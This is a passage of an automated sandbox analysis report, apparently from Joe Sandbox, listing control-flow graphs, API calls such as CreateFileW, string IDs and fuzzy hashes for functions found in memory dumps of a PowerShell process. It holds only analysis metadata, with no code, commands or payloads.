                              control_flow_graph 437 796fa70-796fa7e 438 796fa96-796fab2 437->438 439 796fa80-796fa86 437->439 445 796fe04-796fe17 438->445 446 796fab8-796fac7 438->446 440 796fa8a-796fa94 439->440 441 796fa88 439->441 440->438 441->438 452 796fe1e-796fea5 445->452 446->445 449 796facd-796faf0 446->449 453 796fb34-796fb40 449->453 454 796faf2-796fb09 449->454 478 796fea7-796fead 452->478 479 796febd-796fee1 452->479 453->452 458 796fb46-796fc1d 453->458 459 796fb12-796fb32 454->459 460 796fb0b 454->460 499 796fc1f-796fc25 458->499 500 796fc2d-796fc70 call 7966958 458->500 459->453 460->459 481 796feb1-796febb 478->481 482 796feaf 478->482 490 796fee3 479->490 491 796feea-796ff15 479->491 481->479 482->479 490->491 496 796ff17-796ff2b 491->496 497 796ff2f-796ff44 491->497 496->497 504 796ff46-796ff6f 497->504 505 796ff77-796ff7e 497->505 499->500 513 796fdc3-796fdd5 500->513 504->505 515 796fc75-796fc9d 513->515 516 796fddb-796fe03 call 7966958 513->516 520 796fcef-796fcfd 515->520 523 796fc9f-796fcaf 520->523 524 796fcff-796fd11 520->524 527 796fcc7-796fcd0 523->527 528 796fcb1-796fcb7 523->528 531 796fd18-796fd1a 524->531 532 796fcd2-796fcd4 527->532 533 796fcde-796fcee 527->533 529 796fcbb-796fcbd 528->529 530 796fcb9 528->530 529->527 530->527 534 796fd36-796fd49 531->534 535 796fd1c-796fd2e 531->535 532->533 533->520 538 796fdc0 534->538 539 796fd4b-796fd58 534->539 535->534 538->513 540 796fd72-796fdb8 539->540 541 796fd5a-796fd6a 539->541 540->538 541->540
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: DKam$DKam
                              • API String ID: 0-2604048455
                              • Opcode ID: 470d5452ea2dff5f2a4cf90a262369d194cf44bcb18e2ac6b10b370f1c72538c
                              • Instruction ID: 729345c74a0172417887ab50c3e92473e5cae638e7e738f76eab89dd4a21423d
                              • Opcode Fuzzy Hash: 470d5452ea2dff5f2a4cf90a262369d194cf44bcb18e2ac6b10b370f1c72538c
                              • Instruction Fuzzy Hash: 72F1A174B00215CFCB04DFA8D5949ADB7F6FF89304B1589A9E405AB362CB35EC41CBA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796E390 Relevance: 2.8, Strings: 2, Instructions: 251COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 546 796e390-796e3a2 547 796e3a4-796e3a9 546->547 548 796e3b1-796e3b8 546->548 547->548 549 796e52e-796e540 548->549 550 796e3be-796e3c3 548->550 555 796e554-796e5d5 549->555 556 796e542-796e550 549->556 551 796e509-796e527 550->551 552 796e3c9-796e3cd 550->552 551->549 552->551 554 796e3d3-796e3e8 552->554 560 796e4f7 554->560 561 796e3ee-796e3f4 554->561 563 796e662-796e6aa 555->563 564 796e5db-796e5e3 555->564 608 796e4f9 call 796e2f0 560->608 609 796e4f9 call 796e2e1 560->609 565 796e494-796e49b 561->565 566 796e3fa-796e405 561->566 570 796e5e5-796e5fa 564->570 571 796e64a 564->571 568 796e49d-796e4e2 565->568 569 796e4ea-796e4ef 565->569 578 796e407-796e42a 566->578 579 796e42f-796e436 566->579 567 796e4ff-796e506 568->569 569->560 583 796e5fc-796e5fe 570->583 584 796e608-796e60c 570->584 573 796e64c-796e661 571->573 578->560 580 796e485-796e492 579->580 581 796e438-796e47d 579->581 580->560 581->580 583->584 584->571 588 796e60e-796e623 584->588 595 796e625-796e627 588->595 596 796e631-796e635 588->596 595->596 596->571 599 796e637-796e648 596->599 599->573 608->567 609->567
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: `oql$`oql
                              • API String ID: 0-3091506365
                              • Opcode ID: 7f94b5b0baeab4d98567b4c01acc213365fed8f9accbe516a92d157fb893d1b0
                              • Instruction ID: 1a7897d8b40c118a142ef1309403c04c670f1c5ea7bc77fbe469dd47691ab1ee
                              • Opcode Fuzzy Hash: 7f94b5b0baeab4d98567b4c01acc213365fed8f9accbe516a92d157fb893d1b0
                              • Instruction Fuzzy Hash: 9691F8746042068FC715DF78C498A6A7BB6FFC5308F1489ADD0058B395DB34EC4ACBA2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796A600 Relevance: 2.7, Strings: 2, Instructions: 181COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 610 796a600-796a621 611 796a623-796a636 610->611 612 796a63b-796a64b 610->612 613 796a836-796a882 611->613 615 796a64d-796a660 612->615 616 796a66b-796a67b 612->616 620 796a883 613->620 615->616 623 796a662 615->623 621 796a821-796a834 616->621 622 796a681-796a688 616->622 620->620 621->613 624 796a68a-796a696 622->624 625 796a698-796a6a1 622->625 623->616 626 796a6a4-796a6ae 624->626 625->626 627 796a6f6-796a6fd 626->627 628 796a6b0-796a6ee 626->628 629 796a787-796a7a9 627->629 630 796a703-796a716 627->630 628->627 634 796a7f1-796a819 629->634 635 796a7ab-796a7e9 629->635 636 796a74a-796a769 call 7969fbc 630->636 637 796a718-796a725 630->637 634->621 635->634 645 796a76f-796a782 636->645 637->636 644 796a727-796a748 637->644 644->636 645->613
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: `oql$`oql
                              • API String ID: 0-3091506365
                              • Opcode ID: be4975fe98923f985e237e4920733bc4557e67c2ea5e84dfbb9c1970d0a2ae1a
                              • Instruction ID: e374effc11b59adec11ed642b6d9928918354770af4e9946f493c8cbe6837124
                              • Opcode Fuzzy Hash: be4975fe98923f985e237e4920733bc4557e67c2ea5e84dfbb9c1970d0a2ae1a
                              • Instruction Fuzzy Hash: 8B815A74A01209DFCB14DFA8D588A9DB7F6FF84304F118AA9E405AB361DB35ED42CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07969FBC Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 656 7969fbc-7969fc6 657 796a036-796a03a 656->657 658 7969fc8-7969fd2 656->658 659 796a03c-796a073 657->659 660 796a07b-796a082 657->660 661 7969fd4-796a012 658->661 662 796a01a-796a028 658->662 659->660 663 796a084-796a088 660->663 664 796a08a 660->664 661->662 669 796a0b2-796a0cc 662->669 665 796a08f-796a091 663->665 664->665 665->669 670 796a093-796a0aa 665->670 677 796a0e4-796a0ed 669->677 678 796a0ce-796a0dc 669->678 670->669 679 796a155-796a161 677->679 680 796a0ef-796a0f3 677->680 678->677 707 796a164 call 7967d80 679->707 708 796a164 call 7967d70 679->708 683 796a116-796a125 680->683 684 796a0f5-796a114 680->684 692 796a127-796a12f 683->692 693 796a131 683->693 695 796a13c-796a14d 684->695 685 796a166-796a19d 699 796a1c1-796a1e6 685->699 700 796a19f-796a1a9 685->700 698 796a139 692->698 693->698 695->679 698->695 706 796a1e7 699->706 701 796a1b5-796a1ba 700->701 702 796a1ab 700->702 701->699 702->701 706->706 707->685 708->685
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: `oql$`oql
                              • API String ID: 0-3091506365
                              • Opcode ID: fff00adae21c5ce3424ca5ca80cefe553c62cf0bd15980227f2c6c66f77bcf19
                              • Instruction ID: d93c8e2e0301f049929ce38b3d2c207f94f7823376835af0145e10fc70db1d8b
                              • Opcode Fuzzy Hash: fff00adae21c5ce3424ca5ca80cefe553c62cf0bd15980227f2c6c66f77bcf19
                              • Instruction Fuzzy Hash: 74614D70600205DFCB14DFA0C494AAD77B6FF89318F5189A9D406AF3A5CB36ED45CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 080490C0 Relevance: 1.8, Strings: 1, Instructions: 521COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 709 80490c0-80490d2 710 80490d4-80490f3 709->710 711 80490fa-80490fe 709->711 710->711 712 8049100-8049102 711->712 713 804910a-8049119 711->713 712->713 715 8049125-8049151 713->715 716 804911b 713->716 719 8049157-804915d 715->719 720 8049372-8049379 715->720 716->715 721 8049226-804922a 719->721 722 8049163-8049169 719->722 733 8049300-804930a 720->733 734 804937b-804938e 720->734 724 804922c-8049235 721->724 725 804924f-8049258 721->725 722->720 726 804916f-804917e 722->726 724->720 728 804923b-804924d 724->728 731 804927d-8049280 725->731 732 804925a-804927a 725->732 729 8049184-8049190 726->729 730 8049205-804920e 726->730 736 8049283-8049289 728->736 729->720 737 8049196-80491ad 729->737 730->720 735 8049214-8049220 730->735 731->736 732->731 733->720 738 804930c-8049317 733->738 739 8049390-80493b7 734->739 735->721 735->722 736->720 745 804928f-80492a4 736->745 740 80491af 737->740 741 80491b9-80491cb 737->741 742 8049368-804936f 738->742 743 8049319-8049323 738->743 762 80493cd-80493d9 739->762 763 80493b9 739->763 740->741 741->730 754 80491cd-80491d3 741->754 743->742 753 8049325-804933b 743->753 745->720 747 80492aa-80492bc 745->747 747->720 751 80492c2-80492cf 747->751 751->720 752 80492d5-80492ec 751->752 752->720 764 80492f2-80492fe 752->764 765 8049347-8049360 753->765 766 804933d 753->766 756 80491d5 754->756 757 80491df-80491e5 754->757 756->757 757->720 760 80491eb-8049202 757->760 768 80493e5-8049401 762->768 769 80493db 762->769 767 80493bc-80493be 763->767 764->733 765->742 766->765 771 80493c0-80493cb 767->771 772 8049402-8049409 767->772 769->768 771->762 771->767 772->739 777 804940b-804943f 772->777 779 8049441-8049444 777->779 780 804945b-8049467 777->780 781 8049447-8049459 779->781 782 8049473-8049498 780->782 783 8049469 780->783 781->780 781->781 786 804950c-8049512 782->786 787 804949a-80494a0 782->787 783->782 788 8049514-8049517 786->788 789 804955f-8049579 786->789 787->786 790 80494a2-80494a5 787->790 791 804957c-80495b5 788->791 792 8049519-8049526 788->792 790->791 793 80494ab-80494b8 790->793 803 804963f-8049663 791->803 804 80495bb-80495bd 791->804 794 8049528-8049540 792->794 795 8049559-804955d 792->795 797 8049506-804950a 793->797 798 80494ba-80494e4 793->798 794->791 800 8049542-8049555 794->800 795->788 795->789 797->786 797->790 801 80494e6 798->801 802 80494f0-8049503 798->802 800->795 801->802 802->797 808 804966a-80496b8 call 80496d0 803->808 807 80495c3-80495da 804->807 804->808 815 8049603-804961c 807->815 816 80495dc-8049601 807->816 825 80496be-80496bf 808->825 820 8049627 815->820 821 804961e 815->821 816->815 820->803 821->820
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: d
                              • API String ID: 0-2564639436
                              • Opcode ID: f7acb00509bd05bcdb6ce90dac3cd6dea2542c18fe5c4972e2313a2c99519cb6
                              • Instruction ID: 97192da9254db7457b50cfe583f421ee339809e91a60e2e6d4b58ee97173292f
                              • Opcode Fuzzy Hash: f7acb00509bd05bcdb6ce90dac3cd6dea2542c18fe5c4972e2313a2c99519cb6
                              • Instruction Fuzzy Hash: 06128C74A006058FC714CF69C484AABBBF6FF89315B15C679D45A9B7A1DB30EC42CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07A5EB88 Relevance: 1.6, APIs: 1, Instructions: 118COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 828 7a5eb88-7a5ebbb call 7a5e524 832 7a5ebe6-7a5ec7c 828->832 833 7a5ebbd-7a5ebe5 828->833 842 7a5ec84-7a5ecbf CreateFileW 832->842 843 7a5ec7e-7a5ec81 832->843 844 7a5ecc1-7a5ecc7 842->844 845 7a5ecc8-7a5ece5 842->845 843->842 844->845
                              Memory Dump Source
                              • Source File: 0000001D.00000002.890350462.0000000007A50000.00000040.00000001.sdmp, Offset: 07A50000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7a50000_powershell.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: 2eb8563391df0943b7df4fb43dd9fc618c850ba7a45c7ff1f9957cd088bb0f67
                              • Instruction ID: ba882b0b0d3530946e0d14da3198d7ca93020e65161d83a770469ef638434396
                              • Opcode Fuzzy Hash: 2eb8563391df0943b7df4fb43dd9fc618c850ba7a45c7ff1f9957cd088bb0f67
                              • Instruction Fuzzy Hash: E041D2B1A042499FDB10CFA8D844BDEFFF9EB48314F04856AE905AB381C7749940CBE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07A5E524 Relevance: 1.6, APIs: 1, Instructions: 63fileCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 848 7a5e524-7a5ec7c 851 7a5ec84-7a5ecbf CreateFileW 848->851 852 7a5ec7e-7a5ec81 848->852 853 7a5ecc1-7a5ecc7 851->853 854 7a5ecc8-7a5ece5 851->854 852->851 853->854
                              APIs
                              • CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,07A5EBA7,00000000,00000000,00000003,00000000,00000002), ref: 07A5ECB2
                              Memory Dump Source
                              • Source File: 0000001D.00000002.890350462.0000000007A50000.00000040.00000001.sdmp, Offset: 07A50000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7a50000_powershell.jbxd
                              Similarity
                              • API ID: CreateFile
                              • String ID:
                              • API String ID: 823142352-0
                              • Opcode ID: e0527a4ec21c9097b0fbd7224a7b178720af9d37a5d2ca4b9e3871cf71700951
                              • Instruction ID: 73d9103e255dbfac23d4081a3ac3087ad69e57b635ad64dc59863d550bc276c7
                              • Opcode Fuzzy Hash: e0527a4ec21c9097b0fbd7224a7b178720af9d37a5d2ca4b9e3871cf71700951
                              • Instruction Fuzzy Hash: 982145B6D0421AAFCB10CF99D844ADEFBB8FB08310F00851AE919A7250C374AA10CFE1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07956570 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 863 7956570-79565b1 865 79565b9-79565e7 SetThreadUILanguage 863->865 866 79565f0-795660a 865->866 867 79565e9-79565ef 865->867 867->866
                              APIs
                              • SetThreadUILanguage.KERNELBASE ref: 079565DA
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889743316.0000000007950000.00000040.00000010.sdmp, Offset: 07950000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7950000_powershell.jbxd
                              Similarity
                              • API ID: LanguageThread
                              • String ID:
                              • API String ID: 243849632-0
                              • Opcode ID: bc0c3c38b876f839e06de6b0c243e2342149fa9c2ff5036129a106eaabdc32ae
                              • Instruction ID: aefe5495d534a261d7d6f7b6c1424cc209f030969ef740541cc754d320c7b545
                              • Opcode Fuzzy Hash: bc0c3c38b876f839e06de6b0c243e2342149fa9c2ff5036129a106eaabdc32ae
                              • Instruction Fuzzy Hash: A41188B58002598FCB10CF99D484BEFFBF8EF48324F10845AD418A3640C774A541CFA5
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 079521C0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 857 79521c0-79565e7 SetThreadUILanguage 860 79565f0-795660a 857->860 861 79565e9-79565ef 857->861 861->860
                              APIs
                              • SetThreadUILanguage.KERNELBASE ref: 079565DA
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889743316.0000000007950000.00000040.00000010.sdmp, Offset: 07950000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7950000_powershell.jbxd
                              Similarity
                              • API ID: LanguageThread
                              • String ID:
                              • API String ID: 243849632-0
                              • Opcode ID: 91f758d19a781b11c4fce26536ef4c5b629fad848f99de3083f36d687af8e1bd
                              • Instruction ID: 0afa70d5b4ab3df2f77e8e2768b131e2cad93daa5d7791f89049bbb3efe690a6
                              • Opcode Fuzzy Hash: 91f758d19a781b11c4fce26536ef4c5b629fad848f99de3083f36d687af8e1bd
                              • Instruction Fuzzy Hash: 6A1136B48006598FCB10CF99C484BEEFBF8EB48714F14885AD519B3640C774A945CFA4
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 08049CC8 Relevance: 1.5, Strings: 1, Instructions: 203COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 950 8049cc8-8049dcd 964 8049de7-8049df0 950->964 965 8049df2-8049e01 964->965 966 8049dcf-8049dd8 964->966 967 8049e02-8049e7a 966->967 968 8049dda 966->968 975 8049e7c-8049e93 967->975 976 8049ebf-8049ed5 967->976 970 8049de4 968->970 970->964 979 8049e95 975->979 980 8049e9c-8049ebd 975->980 981 8049ed7 976->981 982 8049edc-8049eea 976->982 979->980 980->976 981->982 985 8049eec-8049ef2 982->985 986 8049efa-8049f33 982->986 985->986 989 8049f95-8049fb3 986->989 990 8049f35-8049f44 986->990 992 8049f46 990->992 993 8049f4b-8049f77 990->993 992->993 996 8049f81 993->996 997 8049f79 993->997 996->989 997->996
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: s"
                              • API String ID: 0-893648717
                              • Opcode ID: 910663ca1a6870378e9723e25d4e105bdbe95ca0f82568ab9ee51a36300100f5
                              • Instruction ID: aff2e5f608a6dcb34b1523c1d6980716250dd7817e7e75846733b109ae3c2c8a
                              • Opcode Fuzzy Hash: 910663ca1a6870378e9723e25d4e105bdbe95ca0f82568ab9ee51a36300100f5
                              • Instruction Fuzzy Hash: 8681A274E002099FDB14DFA5C444BAEBBF7EF84300F10897AE806AB395DB756946CB91
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796A8D0 Relevance: 1.4, Strings: 1, Instructions: 115COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: `oql
                              • API String ID: 0-734642630
                              • Opcode ID: 42a86e6ca6f0354011246298645ba077444250284690f070271abe1c2858cd41
                              • Instruction ID: 9d7263e3b94df5fccc73aec2751d0dc98a4c3f0d2837ea420c178bd883531207
                              • Opcode Fuzzy Hash: 42a86e6ca6f0354011246298645ba077444250284690f070271abe1c2858cd41
                              • Instruction Fuzzy Hash: 5D41D374A002098FCB14DF68D584ED9B7F6FF88218F218999D801AB761D771ED44CFA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796A8E0 Relevance: 1.4, Strings: 1, Instructions: 106COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: `oql
                              • API String ID: 0-734642630
                              • Opcode ID: 50f5e559c31c5905aba7fca765401b8c98b4da84022550e8cbfdb186dc3a5ea2
                              • Instruction ID: 40fa20cf32fc3f12589112858813cfce5c2d2a16030b73054164efcc4f6325f3
                              • Opcode Fuzzy Hash: 50f5e559c31c5905aba7fca765401b8c98b4da84022550e8cbfdb186dc3a5ea2
                              • Instruction Fuzzy Hash: 0141B274A002098FCB14DFA8C584E99B7F6FF88218F258999E805AB761D771FD44CFA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796A8B0 Relevance: 1.3, Strings: 1, Instructions: 91COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: `oql
                              • API String ID: 0-734642630
                              • Opcode ID: 49b27268d5447f14fd08aabda63f39c7057a85e6aa544f0adddb02f42704161a
                              • Instruction ID: 3c86a1801bc206aab29115081da92ca639ed9bef4b7618ec4a2ebeb634c2d3b8
                              • Opcode Fuzzy Hash: 49b27268d5447f14fd08aabda63f39c7057a85e6aa544f0adddb02f42704161a
                              • Instruction Fuzzy Hash: 9C41F374A0024A8FCB04DF68D684DDDB7F6FF88218B658A99D401AB762D771ED05CFA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 07963080 Relevance: .4, Instructions: 407COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 308b6dba822986b088b1f65ef69e5487bc66630726ebcd05aef3bd0b57b1fc92
                              • Instruction ID: 8ab04fc154bb3e9eb59733d466b2593a6d1875efadd0608b38df92d6eae76f28
                              • Opcode Fuzzy Hash: 308b6dba822986b088b1f65ef69e5487bc66630726ebcd05aef3bd0b57b1fc92
                              • Instruction Fuzzy Hash: AEF16E74A01209EFCB15DFA4D884E9EBBB6FF89314F108569E805AB351CB35ED45CBA0
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804A4A0 Relevance: .3, Instructions: 280COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 4e5a649767a8d6d3b189dc5a73d9d69bcbf899d43cd1d4c4ef0270f2e1bf9fa8
                              • Instruction ID: 722bed2251837d1183c7a07be8797cdd4659b8cd431b2768dfb57ece4776abf5
                              • Opcode Fuzzy Hash: 4e5a649767a8d6d3b189dc5a73d9d69bcbf899d43cd1d4c4ef0270f2e1bf9fa8
                              • Instruction Fuzzy Hash: B3C147B0B802598FDB54CFA4C444BAEBBB2EF85301F158469E806AB365DB34DD86CB50
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804F7F8 Relevance: .3, Instructions: 276COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: dfe5b57018ca80a741a5003ea7b0691a85242c3a8e7294a6e5108234e892b791
                              • Instruction ID: b3ffa92952e800f1f912511c5539a67bb5e0652021bba7f21414ee52565d60cf
                              • Opcode Fuzzy Hash: dfe5b57018ca80a741a5003ea7b0691a85242c3a8e7294a6e5108234e892b791
                              • Instruction Fuzzy Hash: 2CA1A174A0020A9FDB18DBB5D454AAEBBFAEFC4305F10883ED4069B754DF7498468BA1
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804CD00 Relevance: .3, Instructions: 271COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 85603e306ac633db4cd8e16483d7ff46fd6425cbca08b2a6bfc43d1e5ce61711
                              • Instruction ID: 3a6ede88272200906b21d6a905979106c769793c8d31d53d75f615433e1e0420
                              • Opcode Fuzzy Hash: 85603e306ac633db4cd8e16483d7ff46fd6425cbca08b2a6bfc43d1e5ce61711
                              • Instruction Fuzzy Hash: 0691D171705205AFDB159F699814ABF7BBBEF85311F10803AE9198B381DF359D02CBA2
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 08049760 Relevance: .3, Instructions: 257COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 50bd32764bdbeb2ca7eca9fa8b169fa141bfd582ff0ff5a34875a121f7740fd3
                              • Instruction ID: 0af9350d3b6ea3b4916ae56dba769f658eead4054448ad83a74d2705a496bf1d
                              • Opcode Fuzzy Hash: 50bd32764bdbeb2ca7eca9fa8b169fa141bfd582ff0ff5a34875a121f7740fd3
                              • Instruction Fuzzy Hash: 3AA15974A00204DFDB18DF69D854A6EBBB2EF85315F11847DE8069B3A1DB35EC46CB90
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0796ABC0 Relevance: .2, Instructions: 243COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.889820127.0000000007960000.00000040.00000010.sdmp, Offset: 07960000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_7960000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 9aab8d8c69ead3d3117bfc7596f6ea3ad19dc1f9407f964478801a2ff8cca57f
                              • Instruction ID: e15a18f28a91b5161c033837e6000ff7ccbabe64fb33374fffecc5b2e665ae43
                              • Opcode Fuzzy Hash: 9aab8d8c69ead3d3117bfc7596f6ea3ad19dc1f9407f964478801a2ff8cca57f
                              • Instruction Fuzzy Hash: 53B13674A00609CFCB21DFA8C588A99FBB5FF48314F25C659D959AB252DB30ED81CF80
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804BC32 Relevance: .2, Instructions: 241COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1ad5e960dbb65629a9e8e7a43f2e3601cb274b55aef093a2efae1f3b241ffeec
                              • Instruction ID: 446ac739c1bfe773b9d8d9d51a38545f300b180493678e79a73260aa37881481
                              • Opcode Fuzzy Hash: 1ad5e960dbb65629a9e8e7a43f2e3601cb274b55aef093a2efae1f3b241ffeec
                              • Instruction Fuzzy Hash: 0E9165743413009FE7159B35EC5BB2A3F67EB85724F248869F9068F3D5CEB6A8428B44
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804BC40 Relevance: .2, Instructions: 240COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 279610f304c7f90e9eb25cd9b34803b342900a279f67346aec68087bbbff8e41
                              • Instruction ID: 6a99f76a2bb628dd4d27ec9f78012ba0d88df309c550524d76f0ceab34e0b561
                              • Opcode Fuzzy Hash: 279610f304c7f90e9eb25cd9b34803b342900a279f67346aec68087bbbff8e41
                              • Instruction Fuzzy Hash: 9C915574340300AFE7159B35DC5BB2A3F67EB85724F248969F9068F3D5CE76A8428744
                              Uniqueness

                              Uniqueness Score: -1.00%

                              Function 0804EE18 Relevance: .2, Instructions: 197COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000001D.00000002.891941904.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_29_2_8040000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: a7918d0d86d3dc514f245ff114aafd009293516c22e5810e107184e8b7b5180d
                              • Instruction ID: 0d9e906c2eda99eb69ef70645d3140192ba04eb28c3647c3f836dc8972973930
                              • Opcode Fuzzy Hash: a7918d0d86d3dc514f245ff114aafd009293516c22e5810e107184e8b7b5180d
